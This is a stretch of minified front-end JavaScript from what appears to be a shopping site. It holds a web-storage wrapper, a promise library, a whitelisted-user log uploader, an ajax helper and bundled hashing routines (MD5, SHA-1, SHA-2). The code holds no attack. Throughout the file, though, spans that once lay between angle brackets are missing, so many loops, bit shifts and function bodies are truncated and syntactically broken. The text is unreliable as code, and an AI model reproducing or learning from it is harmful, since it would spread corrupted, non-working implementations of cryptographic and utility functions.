n.setItem(r,1),t=n.getItem(r),n.removeItem(r),1==t}catch(n){return!1}};try{l=p(window.sessionStorage),x=p(window.localStorage)}catch(n){l=!1,x=!1}l&&x||d.report.umpBiz({bizid:45,operation:1,result:2,source:0,message:"session "+l+"|local "+x});var y=Array.isArray||function(n){return n instanceof Array};function _(n){return function(n){return null!=n&&"object"==f(n)}(n)&&!function(n){return null!=n&&n==n.window}(n)&&Object.getPrototypeOf(n)==Object.prototype}function w(n,t,r){for(var e in t)r&&(_(t[e])||y(t[e]))?(_(t[e])&&!_(n[e])&&(n[e]={}),y(t[e])&&!y(n[e])&&(n[e]=[]),w(n[e],t[e],r)):void 0!==t[e]&&(n[e]=t[e]);return n}function g(n){if(!n||"string"!=typeof n)return n;if(!(n=n.replace(/^\s+|\s+$/g,"")))return n;try{n=JSON.parse(n)}catch(n){}return n}var m,b,C,z,B,D,A=(m=window.sessionStorage,b="WQ_",B=function(n,t,r){var e="";try{e=JSON.stringify(t)}catch(n){throw new Error("JSON数据格式异常:"+n.message)}try{m.setItem(n,e),r&&r(0)}catch(t){r&&r(0),setTimeout((function(){D();try{m.setItem(n,e)}catch(t){return d.report.umpBiz({bizid:45,operation:1,result:1,source:0,message:n+"|"+t.message}),!1}}),0)}return!0},D=function(){var n="";if(!m)return!1;for(var t=m.length-1;t>=0;t--)0==(n=m.key(t)).indexOf(b)&&C(n.slice(b.length))},{setItem:function(n,t,r,e,i){var u=g(L(b+n));u&&(r&&_(t)&&_(u.v)||y(t)&&y(u.v))&&(t=w(u.v,t,!0));var o={v:t,t:(new Date).getTime(),e:"number"!=typeof e?"":e};B(b+n,o,i)},getItem:C=function(n){var t=m.getItem(b+n);if(!t)return m.getItem(n);var r=(t=g(t))&&t.e;return 0===r||r&&new Date-t.t>=1e3*r?(z(n),""):t.v},removeItem:z=function(n){try{m.removeItem(b+n)}catch(n){}},persistence:function(n){m=n?window.localStorage:window.sessionStorage},clearOut:D});function L(n){var t="";try{t=A.getItem(n)}catch(n){}return t}function K(n,t,r,e,i,u){if("function"==typeof i&&(u=i,i=!1),"number"==typeof e&&(i=e,e=!1),"function"==typeof e&&(u=e,e=!1),"function"==typeof r&&(u=r,r=!1),"number"==typeof r&&(i=r,r=!1),r&&(!i||"number"!=typeof i))throw new Error("请设置过期时间");A.persistence(!!r),A.setItem(n,t,e,i,u)}function q(n){A.removeItem(n)}var M={getItem:function(n,t){return A.persistence(!!t),L(n)},setItem:function(n,t,r,e,i,u){return K(n,t,r,e,i,u)},removeItem:function(n,t){return A.persistence(!!t),q(n)},clearOut:function(n){A.persistence(!!n),A.clearOut()},session:{getItem:function(n){return A.persistence(!1),L(n)},setItem:function(n,t,r,e,i){return K(n,t,!1,r,e,i)},removeItem:function(n){return A.persistence(!1),q(n)},clearOut:function(){A.persistence(!1),A.clearOut()}},local:{getItem:function(n){return A.persistence(!0),L(n)},setItem:function(n,t,r,e,i){return K(n,t,!0,r,e,i)},removeItem:function(n){return A.persistence(!0),q(n)},clearOut:function(){A.persistence(!0),A.clearOut()}}},S=k;function k(n){E.length||j(),E[E.length]=n}var j,E=[],W=0;function H(){for(;W1024){for(var t=0,r=E.length-W;t "+t+") {","args = new Array(arguments.length + 1);","for (var i = 0; i < arguments.length; i++) {","args[i] = arguments[i];","}","}","return new Promise(function (rs, rj) {","var cb = "+bn+";","var res;","switch (argLength) {",r.concat(["extra"]).map((function(n,t){return"case "+t+":res = fn.call("+["self"].concat(r.slice(0,t)).concat("cb").join(",")+");break;"})).join(""),"default:","args[argLength] = cb;","res = fn.apply(self, args);","}","if (res &&",'(typeof res === "object" || typeof res === "function") &&','typeof res.then === "function"',") {rs(res);}","});","};"].join("");return Function(["Promise","fn"],i)(gn,n)}(n)};var bn="function (err, res) {if (err) { rj(err); } else { rs(res); }}";gn.nodeify=function(n){return function(){var t=Array.prototype.slice.call(arguments),r="function"==typeof t[t.length-1]?t.pop():null,e=this;try{return n.apply(this,arguments).nodeify(r,e)}catch(n){if(null==r)return new gn((function(t,r){r(n)}));mn((function(){r.call(e,n)}))}}},gn.prototype.nodeify=function(n,t){if("function"!=typeof n)return this;this.then((function(r){mn((function(){n.call(t,null,r)}))}),(function(r){mn((function(){n.call(t,r)}))}))};var Cn=Y;Cn.enableSynchronous=function(){Cn.prototype.isPending=function(){return 0==this.getState()},Cn.prototype.isFulfilled=function(){return 1==this.getState()},Cn.prototype.isRejected=function(){return 2==this.getState()},Cn.prototype.getValue=function(){if(3===this._V)return this._W.getValue();if(!this.isFulfilled())throw new Error("Cannot get a value of an unfulfilled promise.");return this._W},Cn.prototype.getReason=function(){if(3===this._V)return this._W.getReason();if(!this.isRejected())throw new Error("Cannot get a rejection reason of a non-rejected promise.");return this._W},Cn.prototype.getState=function(){return 3===this._V?this._W.getState():-1===this._V||-2===this._V?0:this._V}},Cn.disableSynchronous=function(){Cn.prototype.isPending=void 0,Cn.prototype.isFulfilled=void 0,Cn.prototype.isRejected=void 0,Cn.prototype.getValue=void 0,Cn.prototype.getReason=void 0,Cn.prototype.getState=void 0};var zn=Y,Bn=M.local,Dn=zn;function An(n){if(!n)return 0;var t=(""+n).match(/^(\d*\.?\d*)([smhd])/),r=0;if(t)switch(t[2]){case"s":r=t[1];break;case"m":r=60*t[1];break;case"h":r=60*t[1]*60;break;case"d":r=24*t[1]*60*60}else r=n;return+r}var Ln=setTimeout,Kn={set:function(n,t,r){return new Dn((function(e,i){var u=An("object"==f(r)&&r.expire?r.expire:"7d");Ln((function(){Bn.setItem(n,t,u,(function(n){0==n?e():i()}))}))}))},get:function(n,t){return new Dn((function(r,e){Ln((function(){var i=Bn.getItem(n);""!==i&&null!==i?r(i):void 0!==t?r(t):e()}))}))},remove:function(n){return new Dn((function(t,r){Ln((function(){Bn.removeItem(n),t()}))}))},setSync:function(n,t,r){var e=An("object"==f(r)&&r.expire?r.expire:"7d");Bn.setItem(n,t,e)},getSync:function(n){return Bn.getItem(n)}},qn=Object.freeze(Object.assign(Object.create(null),Kn,{default:Kn})),Mn=window.logWid||[];function Sn(n){if(Array.isArray(Mn)){var t=document.cookie.match(new RegExp("(^| )wq_uin(?:=([^;]*))?(;|$)"));if(t&&!(Mn.indexOf(t[2])<0)){var r=this;r.upload=1,r.module=n||location.pathname,r.cache=[],console.log=function(){r.print.apply(r,arguments)},setInterval((function(){r.report.apply(r)}),2e3)}}}Sn.fn=Sn.prototype,Sn.fn.info=Sn.fn.debug=Sn.fn.error=Sn.fn.warn=function(){this.print.apply(this,arguments)},Sn.fn.foramte=function(){var n=new Date,t=n.toLocaleDateString()+" "+n.toTimeString().split(" ")[0]+" "+n.getMilliseconds();return"["+(this.module||"")+"]<"+t+"> "},Sn.fn.print=function(){var n=this;if(n.upload){for(var t=n.foramte(),r=arguments,e="",i=0;i0&&(i=setTimeout((function(){c()}),1e3*n.timeout));return o}(t);t.url=Zn(t.url,"ajax");var i,u=t.accepts[r],o={},c=function(n,t){o[n.toLowerCase()]=[n,t]},a=/^([\w-]+:)\/\//.test(t.url)?RegExp.$1:window.location.protocol,s=t.xhr(),v=s.setRequestHeader;if(t.crossDomain||c("X-Requested-With","XMLHttpRequest"),c("Accept",u||"*/*"),(u=t.mimeType)&&(u.indexOf(",")>-1&&(u=u.split(",",2)[0]),s.overrideMimeType&&s.overrideMimeType(u)),(t.contentType||!1!==t.contentType&&t.data&&"GET"!=t.method)&&c("Content-Type",t.contentType||"application/x-www-form-urlencoded"),t.headers)for(var h in t.headers)c(h,t.headers[h]);s.setRequestHeader=c,s.onreadystatechange=function(){if(4==s.readyState){s.onreadystatechange=Xn,clearTimeout(i);var n,e=!1;if(s.status>=200&&s.status<300||304==s.status||0==s.status&&"file:"==a){n=s.responseText;try{"script"==r?(0,eval)(n):"xml"==r?n=s.responseXML:"json"==r&&(n=/^\s*$/.test(n)?null:function(n){if(!n||"string"!=typeof n)return n;return(n=n.replace(/^\s+|\s+$/g,""))?JSON.parse(n):n}(n))}catch(n){e=n}e?Rn(e,"parsererror",s,t):Fn(n,s,t)}else console.log("ajax error",s),Rn(s.statusText||null,"load",s,t)}};var l=!("async"in t)||t.async;if(t.xhrFields)for(var x in t.xhrFields)s[x]=t.xhrFields[x];for(var d in s.open(t.method,t.url,l,t.username,t.password),o)v.apply(s,o[d]);if(t.timeout>0&&(i=setTimeout((function(){s.onreadystatechange=Xn,s.abort(),Rn(null,"timeout",s,t)}),1e3*t.timeout)),"POST"==t.method&&n.data&&"object"==f(n.data)&&t.contentType&&t.contentType.indexOf("multipart/form-data")>=0){var p=new FormData;for(var y in t.data)p.append([y],t.data[y]);t.data=p}return s.send(t.data?t.data:null),s}function Fn(n,t,r){var e=r.context;r.success.call(e,n,r,"success",t)}function Rn(n,t,r,e){e.retry<=0||"POST"==e.method||["error","parsererror"].indexOf(t)>=0?Un(n,t,r,e):setTimeout((function(){e.url=e.url.replace(/(&)?(_|g_tk|g_ty|callback)=\w+/g,""),e.retry--,Gn(e)}),0)}function Un(n,t,r,e){var i=e.context;En.info(e.url,t,n);e.error.call(i,{code:{timeout:8e3,error:5e3,load:3020,abort:5001,parsererror:3021}[t]||9e3,message:t},e,n,r)}function Xn(){}function Yn(n,t){return""==t?n:(n+"&"+t).replace(/[&?]{1,2}/,"?")}function Zn(n,t){var r,e,i,u,o,c=(i="wq_skey",u=new RegExp("(^| )"+i+"(?:=([^;]*))?(;|$)"),o=document.cookie.match(u),null==(e=o?o[2]?unescape(o[2]):"":null)?"":function(n){for(var t=0,r=n.length,e=5381;t>(-2*u&6)):0)r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(var c=0,a=e.length;c>(-2*u&6)):0)r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(var c=0,a=e.length;c>4);do{if(61==(e=255&n.charCodeAt(u++)))return c;e=dt[e]}while(u>2);do{if(61==(i=255&n.charCodeAt(u++)))return c;i=dt[i]}while(u>2),t+=xt.charAt((3&i)<<4),t+="==";break}if(u=n.charCodeAt(r++),r==e){t+=xt.charAt(i>>2),t+=xt.charAt((3&i)<<4|(240&u)>>4),t+=xt.charAt((15&u)<<2),t+="=";break}o=n.charCodeAt(r++),t+=xt.charAt(i>>2),t+=xt.charAt((3&i)<<4|(240&u)>>4),t+=xt.charAt((15&u)<<2|(192&o)>>6),t+=xt.charAt(63&o)}return t}});function yt(){var n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Date.now(),t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"yyyy-MM-dd",r=new Date(n),e=t,i={"M+":r.getMonth()+1,"d+":r.getDate(),"D+":r.getDate(),"h+":r.getHours(),"H+":r.getHours(),"m+":r.getMinutes(),"s+":r.getSeconds(),"w+":r.getDay(),"q+":Math.floor((r.getMonth()+3)/3),"S+":r.getMilliseconds()};return/(y+)/i.test(e)&&(e=e.replace(RegExp.$1,"".concat(r.getFullYear()).substr(4-RegExp.$1.length))),Object.keys(i).forEach((function(n){if(new RegExp("(".concat(n,")")).test(e)){var t="S+"===n?"000":"00";e=e.replace(RegExp.$1,1==RegExp.$1.length?i[n]:"".concat(t).concat(i[n]).substr("".concat(i[n]).length))}})),e}var _t,wt={UNSIGNABLE_PARAMS:1,APPID_ABSENT:2,TOKEN_EMPTY:3,GENERATE_SIGNATURE_FAILED:4,UNHANDLED_ERROR:-1},gt={exports:{}},mt={exports:{}},bt=t(Object.freeze({__proto__:null,default:{}}));mt.exports=_t=_t||function(t,r){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&void 0!==n&&n.crypto&&(e=n.crypto),!e)try{e=bt}catch(n){}var i=function(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(n){}if("function"==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(n){}}throw new Error("Native crypto module could not be used to get secure random number.")},u=Object.create||function(){function n(){}return function(t){var r;return n.prototype=t,r=new n,n.prototype=null,r}}(),o={},c=o.lib={},a=c.Base={extend:function(n){var t=u(this);return n&&t.mixIn(n),t.hasOwnProperty("init")&&this.init!==t.init||(t.init=function(){t.$super.init.apply(this,arguments)}),t.init.prototype=t,t.$super=this,t},create:function(){var n=this.extend();return n.init.apply(n,arguments),n},init:function(){},mixIn:function(n){for(var t in n)n.hasOwnProperty(t)&&(this[t]=n[t]);n.hasOwnProperty("toString")&&(this.toString=n.toString)},clone:function(){return this.init.prototype.extend(this)}},f=c.WordArray=a.extend({init:function(n,t){n=this.words=n||[],this.sigBytes=t!=r?t:4*n.length},toString:function(n){return(n||v).stringify(this)},concat:function(n){var t=this.words,r=n.words,e=this.sigBytes,i=n.sigBytes;if(this.clamp(),e%4)for(var u=0;u>>2]>>>24-u%4*8&255;t[e+u>>>2]|=o<<24-(e+u)%4*8}else for(u=0;u>>2]=r[u>>>2];return this.sigBytes+=i,this},clamp:function(){var n=this.words,r=this.sigBytes;n[r>>>2]&=4294967295<<32-r%4*8,n.length=t.ceil(r/4)},clone:function(){var n=a.clone.call(this);return n.words=this.words.slice(0),n},random:function(n){for(var t=[],r=0;r>>2]>>>24-i%4*8&255;e.push((u>>>4).toString(16)),e.push((15&u).toString(16))}return e.join("")},parse:function(n){for(var t=n.length,r=[],e=0;e>>3]|=parseInt(n.substr(e,2),16)<<24-e%8*4;return new f.init(r,t/2)}},h=s.Latin1={stringify:function(n){for(var t=n.words,r=n.sigBytes,e=[],i=0;i>>2]>>>24-i%4*8&255;e.push(String.fromCharCode(u))}return e.join("")},parse:function(n){for(var t=n.length,r=[],e=0;e>>2]|=(255&n.charCodeAt(e))<<24-e%4*8;return new f.init(r,t)}},l=s.Utf8={stringify:function(n){try{return decodeURIComponent(escape(h.stringify(n)))}catch(n){throw new Error("Malformed UTF-8 data")}},parse:function(n){return h.parse(unescape(encodeURIComponent(n)))}},x=c.BufferedBlockAlgorithm=a.extend({reset:function(){this._data=new f.init,this._nDataBytes=0},_append:function(n){"string"==typeof n&&(n=l.parse(n)),this._data.concat(n),this._nDataBytes+=n.sigBytes},_process:function(n){var r,e=this._data,i=e.words,u=e.sigBytes,o=this.blockSize,c=u/(4*o),a=(c=n?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*o,s=t.min(4*a,u);if(a){for(var v=0;v>>2]|=n[i]<<24-i%4*8;r.call(this,e,t)}else r.apply(this,arguments)}).prototype=t}}(),n.lib.WordArray}(mt.exports)}(zt);var Bt={exports:{}};!function(n,t){n.exports=function(n){return function(){var t=n,r=t.lib.WordArray,e=t.enc;function i(n){return n<<8&4278255360|n>>>8&16711935}e.Utf16=e.Utf16BE={stringify:function(n){for(var t=n.words,r=n.sigBytes,e=[],i=0;i>>2]>>>16-i%4*8&65535;e.push(String.fromCharCode(u))}return e.join("")},parse:function(n){for(var t=n.length,e=[],i=0;i>>1]|=n.charCodeAt(i)<<16-i%2*16;return r.create(e,2*t)}},e.Utf16LE={stringify:function(n){for(var t=n.words,r=n.sigBytes,e=[],u=0;u>>2]>>>16-u%4*8&65535);e.push(String.fromCharCode(o))}return e.join("")},parse:function(n){for(var t=n.length,e=[],u=0;u>>1]|=i(n.charCodeAt(u)<<16-u%2*16);return r.create(e,2*t)}}}(),n.enc.Utf16}(mt.exports)}(Bt);var Dt={exports:{}};!function(n,t){n.exports=function(n){return function(){var t=n,r=t.lib.WordArray;function e(n,t,e){for(var i=[],u=0,o=0;o>>6-o%4*2;i[u>>>2]|=c<<24-u%4*8,u++}return r.create(i,u)}t.enc.Base64={stringify:function(n){var t=n.words,r=n.sigBytes,e=this._map;n.clamp();for(var i=[],u=0;u>>2]>>>24-u%4*8&255)<<16|(t[u+1>>>2]>>>24-(u+1)%4*8&255)<<8|t[u+2>>>2]>>>24-(u+2)%4*8&255,c=0;c<4&&u+.75*c>>6*(3-c)&63));var a=e.charAt(64);if(a)for(;i.length%4;)i.push(a);return i.join("")},parse:function(n){var t=n.length,r=this._map,i=this._reverseMap;if(!i){i=this._reverseMap=[];for(var u=0;u>>24)|4278255360&(i<<24|i>>>8)}var u=this._hash.words,o=n[t+0],a=n[t+1],l=n[t+2],x=n[t+3],d=n[t+4],p=n[t+5],y=n[t+6],_=n[t+7],w=n[t+8],g=n[t+9],m=n[t+10],b=n[t+11],C=n[t+12],z=n[t+13],B=n[t+14],D=n[t+15],A=u[0],L=u[1],K=u[2],q=u[3];A=f(A,L,K,q,o,7,c[0]),q=f(q,A,L,K,a,12,c[1]),K=f(K,q,A,L,l,17,c[2]),L=f(L,K,q,A,x,22,c[3]),A=f(A,L,K,q,d,7,c[4]),q=f(q,A,L,K,p,12,c[5]),K=f(K,q,A,L,y,17,c[6]),L=f(L,K,q,A,_,22,c[7]),A=f(A,L,K,q,w,7,c[8]),q=f(q,A,L,K,g,12,c[9]),K=f(K,q,A,L,m,17,c[10]),L=f(L,K,q,A,b,22,c[11]),A=f(A,L,K,q,C,7,c[12]),q=f(q,A,L,K,z,12,c[13]),K=f(K,q,A,L,B,17,c[14]),A=s(A,L=f(L,K,q,A,D,22,c[15]),K,q,a,5,c[16]),q=s(q,A,L,K,y,9,c[17]),K=s(K,q,A,L,b,14,c[18]),L=s(L,K,q,A,o,20,c[19]),A=s(A,L,K,q,p,5,c[20]),q=s(q,A,L,K,m,9,c[21]),K=s(K,q,A,L,D,14,c[22]),L=s(L,K,q,A,d,20,c[23]),A=s(A,L,K,q,g,5,c[24]),q=s(q,A,L,K,B,9,c[25]),K=s(K,q,A,L,x,14,c[26]),L=s(L,K,q,A,w,20,c[27]),A=s(A,L,K,q,z,5,c[28]),q=s(q,A,L,K,l,9,c[29]),K=s(K,q,A,L,_,14,c[30]),A=v(A,L=s(L,K,q,A,C,20,c[31]),K,q,p,4,c[32]),q=v(q,A,L,K,w,11,c[33]),K=v(K,q,A,L,b,16,c[34]),L=v(L,K,q,A,B,23,c[35]),A=v(A,L,K,q,a,4,c[36]),q=v(q,A,L,K,d,11,c[37]),K=v(K,q,A,L,_,16,c[38]),L=v(L,K,q,A,m,23,c[39]),A=v(A,L,K,q,z,4,c[40]),q=v(q,A,L,K,o,11,c[41]),K=v(K,q,A,L,x,16,c[42]),L=v(L,K,q,A,y,23,c[43]),A=v(A,L,K,q,g,4,c[44]),q=v(q,A,L,K,C,11,c[45]),K=v(K,q,A,L,D,16,c[46]),A=h(A,L=v(L,K,q,A,l,23,c[47]),K,q,o,6,c[48]),q=h(q,A,L,K,_,10,c[49]),K=h(K,q,A,L,B,15,c[50]),L=h(L,K,q,A,p,21,c[51]),A=h(A,L,K,q,C,6,c[52]),q=h(q,A,L,K,x,10,c[53]),K=h(K,q,A,L,m,15,c[54]),L=h(L,K,q,A,a,21,c[55]),A=h(A,L,K,q,w,6,c[56]),q=h(q,A,L,K,D,10,c[57]),K=h(K,q,A,L,y,15,c[58]),L=h(L,K,q,A,z,21,c[59]),A=h(A,L,K,q,d,6,c[60]),q=h(q,A,L,K,b,10,c[61]),K=h(K,q,A,L,l,15,c[62]),L=h(L,K,q,A,g,21,c[63]),u[0]=u[0]+A|0,u[1]=u[1]+L|0,u[2]=u[2]+K|0,u[3]=u[3]+q|0},_doFinalize:function(){var n=this._data,r=n.words,e=8*this._nDataBytes,i=8*n.sigBytes;r[i>>>5]|=128<<24-i%32;var u=t.floor(e/4294967296),o=e;r[15+(i+64>>>9<<4)]=16711935&(u<<8|u>>>24)|4278255360&(u<<24|u>>>8),r[14+(i+64>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),n.sigBytes=4*(r.length+1),this._process();for(var c=this._hash,a=c.words,f=0;f<4;f++){var s=a[f];a[f]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8)}return c},clone:function(){var n=u.clone.call(this);return n._hash=this._hash.clone(),n}});function f(n,t,r,e,i,u,o){var c=n+(t&r|~t&e)+i+o;return(c<>>32-u)+t}function s(n,t,r,e,i,u,o){var c=n+(t&e|r&~e)+i+o;return(c<>>32-u)+t}function v(n,t,r,e,i,u,o){var c=n+(t^r^e)+i+o;return(c<>>32-u)+t}function h(n,t,r,e,i,u,o){var c=n+(r^(t|~e))+i+o;return(c<>>32-u)+t}r.MD5=u._createHelper(a),r.HmacMD5=u._createHmacHelper(a)}(Math),n.MD5}(mt.exports)}(At);var Lt={exports:{}};!function(n,t){n.exports=function(n){return r=(t=n).lib,e=r.WordArray,i=r.Hasher,u=t.algo,o=[],c=u.SHA1=i.extend({_doReset:function(){this._hash=new e.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(n,t){for(var r=this._hash.words,e=r[0],i=r[1],u=r[2],c=r[3],a=r[4],f=0;f<80;f++){if(f<16)o[f]=0|n[t+f];else{var s=o[f-3]^o[f-8]^o[f-14]^o[f-16];o[f]=s<<1|s>>>31}var v=(e<<5|e>>>27)+a+o[f];v+=f<20?1518500249+(i&u|~i&c):f<40?1859775393+(i^u^c):f<60?(i&u|i&c|u&c)-1894007588:(i^u^c)-899497514,a=c,c=u,u=i<<30|i>>>2,i=e,e=v}r[0]=r[0]+e|0,r[1]=r[1]+i|0,r[2]=r[2]+u|0,r[3]=r[3]+c|0,r[4]=r[4]+a|0},_doFinalize:function(){var n=this._data,t=n.words,r=8*this._nDataBytes,e=8*n.sigBytes;return t[e>>>5]|=128<<24-e%32,t[14+(e+64>>>9<<4)]=Math.floor(r/4294967296),t[15+(e+64>>>9<<4)]=r,n.sigBytes=4*t.length,this._process(),this._hash},clone:function(){var n=i.clone.call(this);return n._hash=this._hash.clone(),n}}),t.SHA1=i._createHelper(c),t.HmacSHA1=i._createHmacHelper(c),n.SHA1;var t,r,e,i,u,o,c}(mt.exports)}(Lt);var Kt={exports:{}};!function(n,t){n.exports=function(n){return function(t){var r=n,e=r.lib,i=e.WordArray,u=e.Hasher,o=r.algo,c=[],a=[];!function(){function n(n){for(var r=t.sqrt(n),e=2;e<=r;e++)if(!(n%e))return!1;return!0}function r(n){return 4294967296*(n-(0|n))|0}for(var e=2,i=0;i<64;)n(e)&&(i<8&&(c[i]=r(t.pow(e,.5))),a[i]=r(t.pow(e,1/3)),i++),e++}();var f=[],s=o.SHA256=u.extend({_doReset:function(){this._hash=new i.init(c.slice(0))},_doProcessBlock:function(n,t){for(var r=this._hash.words,e=r[0],i=r[1],u=r[2],o=r[3],c=r[4],s=r[5],v=r[6],h=r[7],l=0;l<64;l++){if(l<16)f[l]=0|n[t+l];else{var x=f[l-15],d=(x<<25|x>>>7)^(x<<14|x>>>18)^x>>>3,p=f[l-2],y=(p<<15|p>>>17)^(p<<13|p>>>19)^p>>>10;f[l]=d+f[l-7]+y+f[l-16]}var _=e&i^e&u^i&u,w=(e<<30|e>>>2)^(e<<19|e>>>13)^(e<<10|e>>>22),g=h+((c<<26|c>>>6)^(c<<21|c>>>11)^(c<<7|c>>>25))+(c&s^~c&v)+a[l]+f[l];h=v,v=s,s=c,c=o+g|0,o=u,u=i,i=e,e=g+(w+_)|0}r[0]=r[0]+e|0,r[1]=r[1]+i|0,r[2]=r[2]+u|0,r[3]=r[3]+o|0,r[4]=r[4]+c|0,r[5]=r[5]+s|0,r[6]=r[6]+v|0,r[7]=r[7]+h|0},_doFinalize:function(){var n=this._data,r=n.words,e=8*this._nDataBytes,i=8*n.sigBytes;return r[i>>>5]|=128<<24-i%32,r[14+(i+64>>>9<<4)]=t.floor(e/4294967296),r[15+(i+64>>>9<<4)]=e,n.sigBytes=4*r.length,this._process(),this._hash},clone:function(){var n=u.clone.call(this);return n._hash=this._hash.clone(),n}});r.SHA256=u._createHelper(s),r.HmacSHA256=u._createHmacHelper(s)}(Math),n.SHA256}(mt.exports)}(Kt);var qt={exports:{}};!function(n,t){n.exports=function(n){return r=(t=n).lib.WordArray,e=t.algo,i=e.SHA256,u=e.SHA224=i.extend({_doReset:function(){this._hash=new r.init([3238371032,914150663,812702999,4144912697,4290775857,1750603025,1694076839,3204075428])},_doFinalize:function(){var n=i._doFinalize.call(this);return n.sigBytes-=4,n}}),t.SHA224=i._createHelper(u),t.HmacSHA224=i._createHmacHelper(u),n.SHA224;var t,r,e,i,u}(mt.exports)}(qt);var Mt={exports:{}};!function(n,t){n.exports=function(n){return function(){var t=n,r=t.lib.Hasher,e=t.x64,i=e.Word,u=e.WordArray,o=t.algo;function c(){return i.create.apply(i,arguments)}var a=[c(1116352408,3609767458),c(1899447441,602891725),c(3049323471,3964484399),c(3921009573,2173295548),c(961987163,4081628472),c(1508970993,3053834265),c(2453635748,2937671579),c(2870763221,3664609560),c(3624381080,2734883394),c(310598401,1164996542),c(607225278,1323610764),c(1426881987,3590304994),c(1925078388,4068182383),c(2162078206,991336113),c(2614888103,633803317),c(3248222580,3479774868),c(3835390401,2666613458),c(4022224774,944711139),c(264347078,2341262773),c(604807628,2007800933),c(770255983,1495990901),c(1249150122,1856431235),c(1555081692,3175218132),c(1996064986,2198950837),c(2554220882,3999719339),c(2821834349,766784016),c(2952996808,2566594879),c(3210313671,3203337956),c(3336571891,1034457026),c(3584528711,2466948901),c(113926993,3758326383),c(338241895,168717936),c(666307205,1188179964),c(773529912,1546045734),c(1294757372,1522805485),c(1396182291,2643833823),c(1695183700,2343527390),c(1986661051,1014477480),c(2177026350,1206759142),c(2456956037,344077627),c(2730485921,1290863460),c(2820302411,3158454273),c(3259730800,3505952657),c(3345764771,106217008),c(3516065817,3606008344),c(3600352804,1432725776),c(4094571909,1467031594),c(275423344,851169720),c(430227734,3100823752),c(506948616,1363258195),c(659060556,3750685593),c(883997877,3785050280),c(958139571,3318307427),c(1322822218,3812723403),c(1537002063,2003034995),c(1747873779,3602036899),c(1955562222,1575990012),c(2024104815,1125592928),c(2227730452,2716904306),c(2361852424,442776044),c(2428436474,593698344),c(2756734187,3733110249),c(3204031479,2999351573),c(3329325298,3815920427),c(3391569614,3928383900),c(3515267271,566280711),c(3940187606,3454069534),c(4118630271,4000239992),c(116418474,1914138554),c(174292421,2731055270),c(289380356,3203993006),c(460393269,320620315),c(685471733,587496836),c(852142971,1086792851),c(1017036298,365543100),c(1126000580,2618297676),c(1288033470,3409855158),c(1501505948,4234509866),c(1607167915,987167468),c(1816402316,1246189591)],f=[];!function(){for(var n=0;n<80;n++)f[n]=c()}();var s=o.SHA512=r.extend({_doReset:function(){this._hash=new u.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(n,t){for(var r=this._hash.words,e=r[0],i=r[1],u=r[2],o=r[3],c=r[4],s=r[5],v=r[6],h=r[7],l=e.high,x=e.low,d=i.high,p=i.low,y=u.high,_=u.low,w=o.high,g=o.low,m=c.high,b=c.low,C=s.high,z=s.low,B=v.high,D=v.low,A=h.high,L=h.low,K=l,q=x,M=d,S=p,k=y,j=_,E=w,W=g,H=m,O=b,P=C,N=z,I=B,T=D,G=A,F=L,R=0;R<80;R++){var U,X,Y=f[R];if(R<16)X=Y.high=0|n[t+2*R],U=Y.low=0|n[t+2*R+1];else{var Z=f[R-15],V=Z.high,J=Z.low,Q=(V>>>1|J<<31)^(V>>>8|J<<24)^V>>>7,$=(J>>>1|V<<31)^(J>>>8|V<<24)^(J>>>7|V<<25),nn=f[R-2],tn=nn.high,rn=nn.low,en=(tn>>>19|rn<<13)^(tn<<3|rn>>>29)^tn>>>6,un=(rn>>>19|tn<<13)^(rn<<3|tn>>>29)^(rn>>>6|tn<<26),on=f[R-7],cn=on.high,an=on.low,fn=f[R-16],sn=fn.high,vn=fn.low;X=(X=(X=Q+cn+((U=$+an)>>>0<$>>>0?1:0))+en+((U+=un)>>>0>>0?1:0))+sn+((U+=vn)>>>0>>0?1:0),Y.high=X,Y.low=U}var hn,ln=H&P^~H&I,xn=O&N^~O&T,dn=K&M^K&k^M&k,pn=q&S^q&j^S&j,yn=(K>>>28|q<<4)^(K<<30|q>>>2)^(K<<25|q>>>7),_n=(q>>>28|K<<4)^(q<<30|K>>>2)^(q<<25|K>>>7),wn=(H>>>14|O<<18)^(H>>>18|O<<14)^(H<<23|O>>>9),gn=(O>>>14|H<<18)^(O>>>18|H<<14)^(O<<23|H>>>9),mn=a[R],bn=mn.high,Cn=mn.low,zn=G+wn+((hn=F+gn)>>>0>>0?1:0),Bn=_n+pn;G=I,F=T,I=P,T=N,P=H,N=O,H=E+(zn=(zn=(zn=zn+ln+((hn+=xn)>>>0>>0?1:0))+bn+((hn+=Cn)>>>0>>0?1:0))+X+((hn+=U)>>>0>>0?1:0))+((O=W+hn|0)>>>0>>0?1:0)|0,E=k,W=j,k=M,j=S,M=K,S=q,K=zn+(yn+dn+(Bn>>>0<_n>>>0?1:0))+((q=hn+Bn|0)>>>0>>0?1:0)|0}x=e.low=x+q,e.high=l+K+(x>>>0>>0?1:0),p=i.low=p+S,i.high=d+M+(p>>>0>>0?1:0),_=u.low=_+j,u.high=y+k+(_>>>0>>0?1:0),g=o.low=g+W,o.high=w+E+(g>>>0>>0?1:0),b=c.low=b+O,c.high=m+H+(b>>>0>>0?1:0),z=s.low=z+N,s.high=C+P+(z>>>0>>0?1:0),D=v.low=D+T,v.high=B+I+(D>>>0>>0?1:0),L=h.low=L+F,h.high=A+G+(L>>>0>>0?1:0)},_doFinalize:function(){var n=this._data,t=n.words,r=8*this._nDataBytes,e=8*n.sigBytes;return 